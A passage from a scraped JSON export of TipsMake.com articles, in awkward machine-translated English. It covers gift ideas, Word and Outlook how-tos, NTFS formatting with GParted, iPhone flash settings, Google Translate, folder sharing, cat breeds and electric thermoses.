process of 'getting involved' or being a girlfriend will fall for this sweet, warmth! Refer to some massage machine products below:\nEye massage machine   The eye and the area around the eye are influenced by the late-night rush of IT people, the dark areas, puffiness, tiredness will appear constantly making her uncomfortable. Massage will help relieve stress, so that the eyes relax after a great workload.\nHowever, conventional manual eye massage is sometimes ineffective due to uncontrolled force or how to do it. An eye massage machine will help beauty believers solve this problem.\nWhat does eye massage machine do? You may be surprised at the great uses of that eye massage machine. Eye massage machines are capable of:\nHelps relax eyes, reduce aches and pains due to high intensity activity. Reduce puffiness, dark circles, and dark eyes. Smoothes wrinkles around the eye area to help smooth the skin around the eyes. Strengthen the activity of the optic nerve; Enhance oxygen supply capacity. Supporting treatment of nearsightedness, astigmatism, farsightedness. The boys are still hesitant, this is really a great gift to protect and care for the ' window of soul ' of IT people there!\nAbdominal massage belt   A common situation of office people, up to 80% of people have a headache that is the accumulation of belly fat due to sitting too much and not having time to exercise. Abdominal massage belt, also known as abdominal massage machine is a great device to help people eliminate excess fat, quickly get a slimmer, more attractive round 2.\nThe average office worker has to sit between 8-9 hours a day but with tech people like your girlfriend, the number may be even more. The story of her 12-15 hours continuously watching the computer, confused with the letters, the number sequence also became very normal.\n  Abdominal fat - Worry of many office workers\nAbdominal massage belt is a safe, effective solution to help reduce fat in the waist, even in the thighs, biceps just need you use properly, buy the right genuine products and combine with the regime. eat sensibly.\nNot only that, the massage belt also has the function of regulating, dispelling stress fatigue, helping blood circulation under the skin, increasing metabolism in the body, helping users to have good health. more, supple body.\nReferences : Abdominal massage machine: Experiences to choose and note when using Massage pillows   After hours of work, massage pillows will also contribute to health care, helping the girls' girlfriends regain energy. With only about 10 to 20 minutes of use per day, users will feel comfortable and comfortable, no longer tired and aching.\nAs a delicate and innocent guy who loves his girlfriend, just a little attention is that the men will recognize the health expression of his girlfriend. If in a day of going out, you suddenly see her complaining of tiredness in the neck, neck, and even tired people, lack of energy, your girlfriend may have signs of stiffness, shoulder, neck, neck pain due to sitting have been working on computers for too long, for a long time and continuously already.\n  Headache, shoulder and neck pain - The disease is frequently encountered by IT people\n2. Face washing machine   Worry about acne always makes women lack confidence when going out\nThe skin care is a concern for all women, whether she does any profession. Worry of bad facial skin, acne appear more will make the women lack confidence when going out or when going out with a boyfriend, even leading to stress.\nCurrently on the market there are many tools and equipment that support good skin care, typically washing machines. The washing machine has the ability to clean and wash away dirt much better than regular hand washing, but not only does this product help you save time and effort, bring efficiency More effective for home skin care.\n  A face wash machine also comes with a number of special uses such as skin massage, improving skin problems such as darkening, pigmentation, aging skin, exfoliating, leaving the skin smooth, smooth, bright white for the muse. This is definitely a meaningful birthday gift for technology people.\n3. Hair curling machine   Even if tech people are often rumored to be 'dry', they still have the need to look gorgeous like any other women!\nCurrently, the trend of curly and curling hair is being strongly promoted by women, ranging from curly waves to gentle, curly hairs that tend to be feminine.\nTo have a beautiful curly hairstyle, you will have to spend a lot of money for going to the hairdresser, hair care and care afterwards. Not only that, the needs of many women do not just stop at a hairstyle, they always want to 'change the universe' of their hair and fashion styles from personality to cute.\nMany modern women today have found their own solution, choose to buy curling irons to be able to beautify themselves at home, you can also buy for your girlfriend right away. She will make you more surprised every time she appears in front of you with those 'captivating' styles.\nCurrently on the market there are many types of curling irons, curling irons combined with many other functions such as straightening, ruffling. The diversity comes not only from function but also from color, size, design of the product.\n  You can see a lot of strange brand devices sold for quite cheap prices, compact size, eye-catching designs but this type of product often has not high durability, no warranty.\nThe advice for guys is to choose famous brands of home appliances such as Panasonic, Philips, . to ensure good quality as well as full product warranty. The machines of these brands also appear to be fake and counterfeit goods on the market, so you must also pay attention to choose the right address to distribute prestigious products.\n4. Keyboard and mouse set   The keyboard and mouse are two important 'need to earn rice', which will also become a meaningful birthday gift for your technology girlfriend. Most of the time at the company she will use the available support tools provided but with the industry specific, certainly outside of the time working at the company, she still has to hug the laptop at home whenever do need it.\nNot only to work, IT girls also need to have leisure time, spend time for activities such as reading, listening to music, watching movies or especially playing games. What better way than you two have the same passion for the game and spend time together playing games? Give her a set of quality keyboards and mice for your girlfriend to be a great companion in every game, showing how well both of you work together in flexible coordination.\n  Always being motivated, followed, assisted her at work, energized - this is the meaning of this gift.\nIt is important to focus on the quality of the product because the muse is also a genuine technology person, that is, she has the necessary knowledge to consider a technology product. In this case, if any man does not feel confident enough, he can consult the salesman or a friend working in a different industry.\n5. Music headset   Along with the duo of computer mouse and keyboard can not fail to mention the types of music headphones - equipment that meets her entertainment needs, bringing vivid sound quality.\nTo ensure electrical safety as well as guaranteed audio output, you should choose to buy headphones from famous electronics brands such as Sony, SoundMax, .\nThere are many types of music earphones, suitable for each individual's requirements and preferences: In-ear headphones, On-ear headphones, wireless headphones, .\n6. Beauty cosmetics As mentioned above, beauty is not only a problem for women, whether it is a job requirement or not, women always want to be beautiful in front of others.\nOne of the indispensable beauty items of women and also selected by the brothers to buy as gifts is the lipstick - the color filler for pink lips.\n  On the market, lipstick is a beauty cosmetic that owns many brands, designs and colors from handmade or domestic brands, expanding to Korea, China, USA, France, Canada, .\nBuying lipstick as a meaningful birthday gift for your girlfriend is not too complicated if the man finds a 'mindful' counseling address. One mistake many guys make is to always think that their girlfriends like pink and choose the pink, lotus pink ones that are extremely picky about the user. In fact, if you don't know too much about your girl's favorite skin color or color, red tones are still the easiest and most effective option.\nIn addition, we would like to suggest you a gift ideas for cosmetics - sunscreen. In addition to protecting against sunlight, UV rays, some sunscreens also have a particularly good effect for people who regularly use the computer - against the negative effects of blue light, computer radiation on the skin. .\n  7. Clock   Watches are one of the most used gifts for girlfriends. Giving a watch has many deep meanings hidden within this action. Especially for her, this is like a message to her that your feelings for her are forever, lasting with time. The watch becomes the proof of the eternal love of a couple.\nWatches are also an extremely useful and practical item for tech people, helping them to control working time, deadlines, appointments, .\nLadies' watches now come in a variety of colors from modern to traditional, increasingly meeting the development of fashion trends. More meaningful, you can choose to buy watch colors in order to bring more luck, more favorable for your girlfriend.\nSee also : What color is Destiny's contract? Not only that, the guy can cleverly announce to everyone that your girl is a 'potted flower' with luxurious, noble couple watches that are no less youthful and dynamic.\nSuggest two pairs of watches are the most popular today\nCouple Shengke Korea K8066G and Shengke Korea K8066L   Pair of Julius Men's Watches JA-426 and Julius Men's Watches JA-426   In addition to the normal watch, we would like to introduce you to a new utility product of technology village - smart watches.\n  The smart watch still functions as its name is used to check the time, manage time with a luxurious, modern and compact design. In addition, smart watches have many more breakthrough features that conventional watches cannot afford.\nSmart watches can be used as a normal phone to listen and call, used for extremely convenient communication. Can attach memory card to listen to music, take pictures or record sound. Integrating the positioning function is extremely important for women. There is built-in bluetooth to sync with phone. Function of walking or pulse measurement, heart rate measurement, health monitoring. 8. Jewelry Jewelry has long become an important fashion accessory, contributing to beautifying and beautifying girls, as well as an item to help delicate men 'mark their sovereignty', repelling the guards. Elsewhere, especially when your girlfriend is working in an environment where ' yin yang yang '.\nThese jewelry types that guys can easily choose to buy as birthday gifts for girls include:\n  Lovely bracelet dynamic\n  Noble necklace\n  Gentle feminine earrings\nHopefully, with the helpful suggestions above, the boys will no longer find it difficult to choose birthday gifts for their technology girlfriends.\nDo not forget to visit TipsMake.com regularly for the latest technology news and hot trends; learn more life tips; Learn meaningful gift suggestions for your boss, colleagues, friends, relatives.\nncG1vNJzZmismaXArq3KnmWcp51khG6tjKacmqaZo7SnwctmmaKqpJ2xosWMoKCfrF2bvLN5wGarnpuYqK63wthmnqKqnJu%2FqrHNnQ%3D%3D\n","link":"/post/7-a-meaningful-birthday-gift-for-a-tech-savvy-girlfriend/","section":"post","tags":null,"title":"7+ A meaningful birthday gift for a tech-savvy girlfriend"},{"body":"Horizontal lines in text on Microsoft Word are very annoying. You can hardly add anything in front of it and you cannot delete it with the Backspace or Delete key. That is because it is not a mere character. It is a graphical component. Want to delete it extremely easy but not everyone knows. Let's see TipsMake instructions on how to remove horizontal lines in Microsoft Word through the article below\nThe horizontal line is actually not a line, it is a border. You might wonder which object this border applies because you don't see any tables or text boxes in the GIF above. The answer is that this special border applies to the text above it. In Microsoft Word, paragraphs can have their own borders.\nTo delete the horizontal line, very simply, you place the cursor directly above it.\n  From the Home tab, navigate to the Paragraph tool group. Next, go to the Borders button , and press the down arrow next to it. In the drop-down menu, select the No Border option and the horizontal line will immediately disappear.\n  The extensive features of Microsoft Word can sometimes surprise users, even if they are the most proficient users.\nIn fact, for most people, the text border function is unnecessary.Users have many different ways to create text borders such as tables, text boxes, etc. because these are easier to perform and give better control.\nncG1vNJzZmismaXArq3KnmWcp51ksaa4xK2cZqCfp7a7u82tmKVlnJ67pr%2BMoqVmrJWtwW67zWakopuipMCwstNmrqiqlA%3D%3D\n","link":"/post/delete-horizontal-lines-in-text-on-microsoft-word/","section":"post","tags":null,"title":"Delete horizontal lines in text on Microsoft Word"},{"body":"Need to add a signature in Outlook? You do not know how to create an Outlook 2016 signature? In fact, it's easy to add optional mail signatures with linked images as well as company logos in Outlook 2016 for Windows. You can choose fonts, colors and custom styles by following the detailed instructions below.\nHow to create and add new email signatures? Step 1: Click Home on the toolbar.\nStep 2: Click New Email in the top left corner of the screen.\n  Step 3: A new mailbox appears, select the Signature box on the Include tab.\nStep 4: Select Signatures in the drop down bar.\nStep 5: At Email signature , click New .\n  Step 6: In Type a name for this signature , enter the name of the signature.\n  Step 7: Click OK\nStep 8: On the next screen, highlight the signature name in Select Signature to Edit .\nStep 9: Large empty box under Edit Signaute, enter your name, title, company name, email address, social networking information or other personal information you want to appear in the new signature.\nBelow Edit signature, there are different font options and custom formatting. You can create rich styles and rich borders to create a unique.   Step 10: Add a custom image like the company logo, determine where you want to insert the image and click the Insert picture icon.\nStep 11: Select the image in your computer's file browser and select Insert .\n  Step 12: To insert a website link into a photo or logo, or any word in your signature. First, highlight the image or text you want to insert.\nStep 13: With the image selected, click the Insert Hyperlink icon.\nStep 14: New window appears, enter the full URL of the website in the last box. Then press OK .\n  Step 15: Set customizations for New messages and Replies / Forward .\nIf you want to apply a signature to all new messages, select the signature name from the drop-down menu of New messages . If you want to use for reply or forwarding messages, in the drop down menu select the signature name of Replies / Forward . Furthermore, if you do not want to apply a signature to a new message, reply message or forwarding, select (none) for the appropriate menu.   Step 16: After setup is complete, press the Save button below.\nStep 17: Finally, select OK at Signatures and Stationary to save the changes.\nWhen opening a new mailbox, reply or forwarding, the signature automatically appears at the bottom of the page.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKyhl6OutcHRnmSipl2kwrW4zqiiZmpgZn1ufo9qbQ%3D%3D\n","link":"/post/how-to-create-a-signature-in-outlook-2010-2016/","section":"post","tags":null,"title":"How to create a signature in Outlook 2010, 2016"},{"body":"If you are a user moving from Windows to Linux and vice versa or are cooperating with Windows users and need access to the same file, it is best to have a common partition in NTFS format, so that both operating systems are accessible.\nLinux proves its versatility by supporting all storage formats supported by Windows. Of the three options, FAT32 will be too limited for current use, with a maximum file limit of 4GB. ExFAT is not much better because it is located between FAT32 and NTFS.\nThis makes NTFS the best option, and fortunately, it is easy to format the hard drive in NTFS format in Linux. There are many ways to do this, but one of the easiest is to use GParted.\nCreate NTFS partition with GParted GParted is the most popular application of its kind in the open source world, so it may already be installed in your distribution. If not, find it in the software center, the app store, or install it via the terminal with:\nsudo apt install gparted  Run GParted and select the hard drive you want to format into NTFS from the drop-down list at the top right of the program window. Double check that you have selected the correct hard drive.\nCreate a new partition For example there is a completely empty drive connected, so GParted calls its space unallocated. If you already have one or more files on it and make sure they don't contain the data you need, right-click on them and delete them one by one.\nRight-click on unallocated space and select 'New' from the menu that appears.\nClick the drop-down menu next to 'File System' and change its type to 'ntfs'.\nThe article recommends that you do not change the rest of the settings. It is recommended to use the entire HDD space for the primary NTFS partition that both Linux and Windows will recognize.\nPlease provide a name for it in the 'Label' label to make it recognizable. If you do not do this, the distribution will usually mount it using an unfriendly UUID.\nCheck and apply GParted, by default, adds each operation to a batch but does nothing with the hard drive. All changes are virtual until you make it permanent.\nClick 'Apply' to start the procedure. GParted will ask if you are sure you want to proceed - remember, choosing the wrong hard drive can lead to data loss. Click 'Apply' here too, and GParted will begin to perform its task.\nIf you want to check additional information for each step, you can expand the list in the 'Details' section of the 'Applying pending operations' window.\nWhen done, click 'Close' and enjoy the new NTFS partition.\nAs a final note, if the distribution uses GNOME as a desktop environment, then it is likely that you have installed Gnome Disk Utility. You can usually find it in 'Disks' via the distribution's main menu, and it also allows you to format any drive to NTFS.\nTo do this, run it, select the drive you want to format into NTFS from the left panel, click the two-gear icon under the graphical representation, and select 'Format Partition…' . Set the format type to NTFS and proceed with the formatting process.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6fp7qiwIyaZKGZopl6pb7Ir5xmoZ6pvG6605%2BqZqGeYrmqutSx\n","link":"/post/how-to-format-a-hard-drive-into-ntfs-in-linux/","section":"post","tags":null,"title":"How to format a hard drive into NTFS in Linux"},{"body":"In the course of using the computer, you have probably encountered a case of mistakenly deleting data. If you are in that case, don't worry, because when we delete a file in windows, the file will be moved to the trash and we can recover the data in the trash once. the simple way. The following article of TipsMake.com will guide you how to recover data in the trash.\n  Step 1 : Click the Recycle Bin icon to open the trash\n  Step 2 : After opening the trash you will see the files that you have deleted appear here, to restore the file you just need to right-click on one or more files and select Restore is finished.\n  If you want to restore all the files in the trash, just press the Restore all items button .\n  The files after recovery will appear where you deleted them.\nSo with just a few simple steps, we successfully recover deleted files in trash. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVmLy3sdFmqZ6sop6yt7GMnZylnaSasW6yyKWcrGWZo3q1vsCsnw%3D%3D\n","link":"/post/how-to-recover-retrieve-deleted-files-in-trash/","section":"post","tags":null,"title":"How to recover, retrieve deleted files in trash"},{"body":"  Open the Settings app on your iPhone. This app has a gray gear icon (⚙️) on the home screen.\n  Tap the Notifications section . It's near the top of the settings menu, next to a red icon with a white square inside.\n  Scroll down and tap the Messages app . Applications are listed in alphabetical order.\n  Slide the button next to \"Allow Notifications\" to \"On\". This button is located at the top of the screen and when enabled turns green. This allows the app to send you notifications.\nTurn on Show on Lock Screen to allow notifications to appear on the screen when the device is locked.\nActivate the LED when there is a notification   Open the Settings app on your iPhone. This app has a gray gear icon (⚙️) on the home screen.\n  Tap on General . It's near the top of the screen, next to the gray gear icon (⚙️).\n  Tap the Accessibility item . This item sits alone near the center of the settings menu.\n  Scroll down and tap the LED Flash for Alerts feature. This feature is near the bottom of the menu under \"Hearing\".\n  Slide the button next to the \"LED Flash for Alerts\" feature to the \"On\" state. This button will turn green. Remember to also switch the Flash on Silent button to \"On\".\nThe LED Flash for Alerts feature only works when the phone is in sleep or \"Locked\" state.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mq6GdXZu5or%2FHZqanZZmltbC6xGauoZ2eYq5uucSsqpqflWKus77Ir5ys\n","link":"/post/how-to-turn-on-the-flash-on-iphone-when-a-message-arrives/","section":"post","tags":null,"title":"How to Turn on the Flash on iPhone when a message arrives"},{"body":"Google Translate or Google Translate is a popular and popular translation and translation service worldwide. Users can quickly translate on Google Translate with different languages, different translation sources.\nYou can enter text content to translate on Google Translate like other translation applications, or take photos to translate, record voice to translate. Very convenient for users, especially when you travel abroad can translate directly. The following article will show you how to use Google Translate on your phone.\nThe following article uses the Google Translate iPhone. The Google Translate interface on other operating systems is the same, we do the same.\nHow to translate web pages on Google Translate 3 simple ways to download pronunciation files on Google Translate How to turn off automatic language translation in Google Chrome Language translation on Google Translate Download Google Translate iOS Download Google Translate Android Step 1:\nFirst, download the Google Translate application on the link above to the phone and then start up. In the main interface of the application you will see different translation methods.\nBut first, let's check which language packs have been downloaded to use. Click on the source language to select, click on the language you want to translate.\n   In case the user wants to add another language to translate, look in the language list and then click the download arrow to download. Click Download to agree to download the language pack.\n   1. Translate text on Google Translate In the main interface just enter the content in the white frame. We will immediately have the content of the language to translate.\n   2. Handwritten translation on Google Translate Click on the pen icon in the interface and write the text to translate on the screen. When finished writing, Google Translate will automatically translate that language for you. If you click on the arrow icon , we will have the option to listen to the pronunciation, or some other meaning of the word.\n   3. Translate images on Google Translate Image translation is a very useful feature available on Google Translate and many other translation applications. Users do not need to spend time entering content, but can take pictures directly, or use the images available on the device and Google Translate will conduct translation.\nStep 1:\nClick the Camera icon in the home page of the application. After that, Google Translate will ask users to allow access to Camera , click OK. If you want to use an existing image click on the image icon and also need to allow Google Translate to access the Album .\n    Step 2:\nWe put the camera into the image to be translated. Align the shooting angle so you can get the full content. Press the photo capture button to take a picture. Wait for Google Translate application to scan images.\n   Step 3:\nThe user will then be asked by the application to mark the content you want to translate. Or to get the full content in the image , click the square icon below the screen. Once you've selected the content area to translate, you'll see the language translation application at the top of the interface. To expand the translation content, press the arrow icon .\nIn the translated content, there will be additional pronunciation in the source language and target language for users.\n   Step 4:\nIn the target language content when you click on the share icon , you can copy the content or send it to other applications.\n   4. Translate above Google Translate Step 1:\nClick the microphone icon on the interface and agree to let the application access the Micro, click OK. Wait a few seconds for the voice recording setup application.\n   Step 2:\nAppear interface to record the sound of the speaker. Users need to speak loudly and clearly for the application to recognize the voice. Immediately, when verifying your sentence, Google Translate will translate into the language selected above.\n   Thus, we have instructed you to read how to use the Google Translate translation application in detail, through 4 different translations of text input, written translation, image translation and voice translation . Overall Google Translate has a simple interface, not too complicated, very easy to use.\nSee more:\nHow to use Mate Translate to translate on Chrome How to translate web pages on Safari browser with Microsoft Translator Translate English on the phone with quality translation apps I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqou86go55lpKeur7%2FLmqueZaSkerW%2BwKeqpZmkmnqtrc2grJqflah6ZpGRXm9pXWh3coZ%2BhHFnXnBypLtuwMeeZKmgn6Oy\n","link":"/post/how-to-use-google-translate-to-translate-languages-on-the-phone/","section":"post","tags":null,"title":"How to use Google Translate to translate languages ​​on the phone"},{"body":"TipsMake.com - Today, it is normal for a person to own more than a computer, even if he or she is not a computer expert. Transferring files between these machines is a simple process, but not everyone knows how to do them. If you or someone else has never learned how to share a folder over a local network, this tutorial will show you how.\nOn Windows operating system Here's how to share a folder on a Windows computer:\n1. Search for the folder you want to share and right click on it .\n2. Select \" Share with . \" then choose \" Specific People \".\n3. A sharing table will appear with the option to share with any user on the computer or a homegroup group. Users can also choose to share with everyone - \" Everyone \", meaning that the file is accessible on your local network by anyone, even if they do not have a password. This option is quite handy but not secure. If you choose this option, you can find it by clicking on the up and down arrow at the top of the table.\n4. After selecting, click Share .\n  After clicking on Share, Windows will take a while to set up a new shared folder and this folder can be accessed on any computer on the same local network. To access it, simply search the Network section on the computer. Once you've selected it, you'll see the option to connect to that folder.\nOn Mac OS X operating system Sharing a folder on Mac OS X is not as obvious as it is on Windows, but it is still very easy to do. Here's how to do it:\n1. Visit the Apple menu and select \" System Preferences \".\n2. From the System Preferences table, select \" Sharing \".\n3. On the left, you have several options. Above is \" File Sharing \", which is the feature you need. Click it and make sure that the dialog box next to its name is checked.\n4. When the File Sharing item loads, you will see 2 boxes. The box on the left contains the shared folder and the box on the right contains users who can access that folder. To add a folder, click the + sign in the bottom of the Shared Folders box. Select the correct folder you want to share and click the Choose button.\n5. This folder has been shared, but on its right you will see a list of users who can access this folder over the network and what they can do. For example, if you want them to only be able to read files in the folder but can't make any changes, you can select the \" Read Only \" option. No matter what you choose, this folder is now shared on the local network.\n  To access this new shared folder on another computer, simply create a new Finder window in the finder (by pressing the + N command on the keyboard or selecting \" New Finder Window \" from the File menu). In the left bar of the window, there will be the SHARED section. Under it there is a list of shared computers. Click on the computer name that contains the folder you just shared and want to access. After a while, a list of shared folders will appear. Double-click on the shared folder you want to access and you have access to it (you may access it if you don't have \"Everyone\" access allowed after you have entered your username and password).\nncG1vNJzZmismaXArq3KnmWcp51kwKmt0Z5kmmWWpLmlsdFmpqdlpJ2ybrjOnJilZZ6awbi70aRkn6eiYrumw4yuqp6qow%3D%3D\n","link":"/post/share-a-folder-on-the-local-network-for-new-users/","section":"post","tags":null,"title":"Share a folder on the local network for new users"},{"body":"Owning a True Flash dual-tone helps the iPhone generation from 5s or more with the ability to capture images in extremely impressive darkness. In addition to image capture support, this dual flash kit also serves as an extremely useful flashlight. However, most users currently do not take advantage of both flashes for maximum lighting.\nHow to lock iPhone 6 does not require updating How to recognize genuine iPhone 6 How to take iPhone phone screen shot? Normally, the camera on the iPhone automatically analyzes the scene color to decide to adjust the dual flash kit ( including a white and amber color ) to varying degrees, helping to capture the color tones unify. Meanwhile, if using the flashlight function, the iPhone will only turn on the white-colored LED flash and the lower light intensity.\nSo if you want to use this flash light as a super bright flashlight, you need to follow the following 4 basic steps to turn on both LED flashes at the same time:\nStep 1 : Access Control Center on the Homescreen screen of iPhone by swiping up from the screen.\nStep 2 : Click the flashlight image shortcut in the toolbar below to turn on the LED flash.\n  Step 3 : Continue to click the Camera app icon in the Control Center to start the camera. Starting the Camera application will also turn off the LED flash.\n  Step 4 : Press the Home button on iPhone to exit the Camera application (the application still runs in the background ). Immediately access the Control Center and click on the key to turn on the flashlight again. This combination will give you an unprecedented super-bright flashlight.\nHopefully this tip will be helpful for readers in necessary cases!\nncG1vNJzZmismaXArq3KnmWcp51kwK6ty6VkraGgqHq1u4ytrKumXaS7bn6Mn6Oaq5hirrV506GcZquRorJuwMimnGannmK2sbTOp5w%3D\n","link":"/post/small-tips-to-turn-on-2-flash-at-the-same-time-on-iphone/","section":"post","tags":null,"title":"Small tips to turn on 2 Flash at the same time on iPhone"},{"body":"Portégé R700 owns a 13.3-inch screen and weighs only 1.36 kg, which is about 10 grams lighter than Sony's most advanced model, Vaio Z.\nThe R700 is a true mobile device with a magnesium alloy shell that definitely helps with better heat dissipation and a new chiclet keyboard. This model is even integrated optical drive and although the metal case is only 1.36 kg and less than 2.5 cm thick.\nPortégé R700 is attractively priced at only 999 USD for models with Core i3 processor, 4GB RAM, 500GB hard drive and 1,299 USD for Core i5 processor model, 320GB hard drive at 7,200 speed. round / minute. The most advanced model is equipped with Intel Core i7 processor, 128 GB SSD hard drive is priced from 1,599 USD.\n  Dock connection below helps extend the connection port.\n  Back of the machine.\n  Portégé R700 features a 13.3-inch screen.\n  Machine is less than 1 inch (2.53 cm) thin.\n  Magnesium alloy case is sure.\n  Chiclet keyboard table handy.\n  This is the laptop model with the world's lightest 13.3-inch screen from Toshiba.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjLCmq6SUqHqttcahq56rpGJ%2BdLXNnJ9mpJGlwbC8jJ%2BpqKVdqby0tMibmA%3D%3D\n","link":"/post/the-world-s-lightest-13-inch-laptop-from-toshiba/","section":"post","tags":null,"title":"The world's lightest 13-inch laptop from Toshiba"},{"body":"Cats are one of the most beloved human animals in the world. Not only possessing cute looks and soft fur, the most beautiful cats in this world also have extremely lovely, friendly, friendly characters that make people who love animals also have to enjoy.\nLaPerm cat\nLaPerm cat is also known as a furry cat because it possesses a special curly coat. The fur of this cat has many different unique colors and patterns. At birth, some LaPerm kittens are bristled (will grow back when they are 2 weeks old) but most have straight or wavy hair. At about 4 months of age, their feathers will fall off and after they grow back they will be especially curly.\n    Besides special fur, LaPerm cat is also loved by many people because of its gentle, alert and cute personality.\nAngora cat\n    \nThis breed is native to Turkey and possesses a long, soft and beautiful coat. Angora is a special cat because they have more characteristics in common with dogs than cats.\nAngora cats are very smart, have great memory, so they are often used to do dog-like tasks. In addition, this cat has an extremely special hobby of soaking in water.\nSomali cat\n    \nSomali cats possess a fox-like appearance with large ears, plump necks and a puffy tail. This cat has smooth fur, green round eyes that make anyone who loves cats love it. Somali cats are quite gentle and nimble.\nCat Toyger\n    \nToyger is a hybrid cat breed from Bengal cats and domesticated cat cats. Toyger's cat has a circle around white eyes, a dark yellow coat with striking black stripes and a majestic gait. These characteristics are similar to tiger's, so their names are also taken from the words \"Toy\" and \"Tiger\" in English.\nMaine Coon cat\n    \nThe Maine Coon cat, also known as the North American long-haired cat, is the oldest natural breed of cat in North America, possessing a large size, can reach weight up to 11kg and body length of up to 1, 3m. This cat has a very sharp hunting instinct. The coat is quite long, fluffy and has many different colors. This is an extremely gentle and intelligent cat.\nSiamese cat\n    \nThe characteristic of this cat is the big blue eyes that stand out on the black face. This is the most common short-haired cat in Europe and North America in the 20th century. Thailand is believed to be the origin of this breed. In the land of the Golden Temple, people call Siamese cats, Wichian Mat, meaning \"Moon diamonds.\"\nTurkish Van Cat\n    \nThis is an ancient and rare cat that originated in Turkey. Turkish Van possesses white fur, long and thick fur, head and tail colored spots.\nBritish long-haired cat\n    \nBritish long-haired cats have a sturdy body, a round head, bright eyes, short ears and long iridescent hairs of different colors. Their tail feathers are very long and thick, looking impressive.\nArabic cat\n    \nThe Persian cat has a very short nose bridge, so it is also called a cat face. Their fur is quite thick with two layers (the outer layer is long and the inner layer is short), so they look like lovely mobile cotton balls. Persian cats are very smart, peaceful, gentle and charming.\nScottish ear cat\n    \nThis cat has an extremely lovely appearance with round eyes, a short, slightly upturned nose, and especially with its ears with folds. When born, Scottish ear cats also possess straight ears but the folds that make the ears fall down when they are about 3, 4 weeks old.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZqWfqMFursSarK2hlqq5bq%2FArapmoZ5iwamxjLCmq6SU\n","link":"/post/top-10-most-beautiful-cats-in-the-world/","section":"post","tags":null,"title":"Top 10 most beautiful cats in the world"},{"body":"As you know, VLC is one of the most popular media streaming utilities, listening to music and watching movies today . In the following article, we will learn about this application as well as the new features of the iPad version - just released a few weeks ago, and then the iPhone and iPod Touch. Users can download this VLC version via iTunes App Store or directly to your device:\n Launching the application for the first time, the program will display a message instructing how to add videos to the VLC library:\n Connect your iPhone or iPod to your computer, start iTunes and click on the device icon. Select Apps and scroll down, go to File Sharing , select VLC and add video files in the VLC Documents section :\n Or simply, drag and drop videos directly here:\n These files will be synced instantly on the device without using the iTunes Sync feature:\n Now, users just need to click on the video file, the program will automatically slide. Another point is that the control functions will not automatically disappear while watching movies:\n  When the user clicks anywhere on the screen, these controls disappear. Redo it again and they reappear:\n  Besides, users can also delete video files directly on the device without using it via iTunes. Just press the Edit button on the right corner and select Delete :\n This application is completely free, with many basic and advanced features, this is really a bad choice for iPhone or iPod Touch device. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kw6qx1maYpaRdq7alsc5mnaKklWKzsL7MmqusZaeewal51aWaZp6fp3qqvMeopZ5ln6d6qrzOnQ%3D%3D\n","link":"/post/view-all-video-file-formats-with-vlc-for-iphone-or-ipod/","section":"post","tags":null,"title":"View all video file formats with VLC for iPhone or iPod"},{"body":"Immediately after visiting Vietnam, billionaire Jack Ma launched a martial arts film called \"Dao Dao\" that surprised the world. In the film there are many majestic martial arts scenes, beautiful when Jack Ma billion martial arts with many high martial arts players played by Li Lien and Donnie Yen.\nAll things about Jack Ma - Billionaire admires the whole world Jack Ma's classic sayings will change your life It is not hard to understand when the action movie \"The Dao\" has a lot of attention in the world. Because in addition to the action star Ly Lien, acting as the production director and lead actor, the film also features many famous Asian martial arts stars like Donnie Yen, Wu Jing, Asashoryu Akinori, Zou Shiming, Tony Jaa, Jacky Heung, Natasha Liu, Hong Jin Bao, Yuenping Peace, Sub-East Show and special billionaire Jack Ma, founder of Alibaba.\n  A scene from the movie, Jack Ma uses Tai Chi to confront Bay Xuan Quyen of Chan Tu Dan.  Monitors show martial arts beautifully.\nJack Ma's character is a Tai Chi master and challenges the martial arts masters of other factions such as Frame Fu, Wing Chun, Muay Thai . There are many martial arts scenes in the movie. beautiful, satisfying any martial arts audience.\nYou can follow the full 22 minutes of the movie below:\nAll the screenplay of martial arts in the film has no element of loser but the main purpose is to exchange and celebrate the beauty of martial arts and Chinese culture.\n  After this film, the audience can absolutely hope, in the future Jack Ma is a billionaire, speaker, entrepreneur that could become a martial arts star in the entertainment movie village.\nncG1vNJzZmismaXArq3KnmWcp51kxKLAwqFkraCVYsOqsMSoZKOZk6B6rq2MnZyfnZGpsqV5kGpkppmiqbaiuIyaqa2rXaKutMDEq6pmnqKkum7DyKeeZpuYqrtuu8Vmm6KdoGK6orqMraZmpaWWxm7Ax5qg\n","link":"/post/watch-the-video-jack-ma-defeated-11-martial-arts-masters-from-wing-chun-of-diep-man-to-muay-thai/","section":"post","tags":null,"title":"Watch the video Jack Ma defeated 11 martial arts masters from Wing Chun of Diep Man to Muay Thai"},{"body":"Today thermos are essential kitchen utensils in every family, helping users always have hot water available for use at any time when needed such as mixing milk, making noodles, making coffee, making tea. .\nWhat is electric thermos? Thermos are like a normal water thermos. However, a thermos bottle in addition to keeping warm is also capable of boiling water very conveniently, keeping warm water for 24 hours.\n  Structure of the thermos Thermos are usually composed of 3 layers: plastic or stainless steel cover. Inside the stainless steel or metal flask and coated with a non-stick coating in the vial to prevent scaling and make it easier to clean.\n  In the middle is a vacuum environment that does not transfer heat to keep the water warm for a long time.\nClassification of thermos Thermos are divided into 2 types: electric thermos and electronic thermos.\nElectric thermos often design a button to press round in the lid, when you want to get water, users have to press their hands repeatedly and water will flow into the glass.\nElectronic thermos use a small pump motor to push water out of the tap when pressing the button on the control panel. Electronic thermos often have more modern features such as locking water intake hose, setting the temperature keep warm, gentle water taking operation.\n  Note when using a thermos When using thermos, users need to pay special attention to the following issues:\nDo not change the thermostat of the thermos. Specifically: do not pour hot water or cold water too quickly into the bottle when the kettle is cold or hot. Because of this, it will cause a sudden change in the average temperature of the flask, which can lead to an explosion in the tank, which affects the ability of the bottle to keep hot.\nClean the bowel bowel cleanly when you first buy it or after a period of no use. Then proceed to pour hot water into the bottle slowly. It is best to pour only a little, then cover the lid to allow the heat to radiate inside, after a few minutes to pour water back.\n  Hydrocarbon contents after a period of use are often trapped. To remove the scalp, pour some warm white vinegar into the jar. Then cover and shake 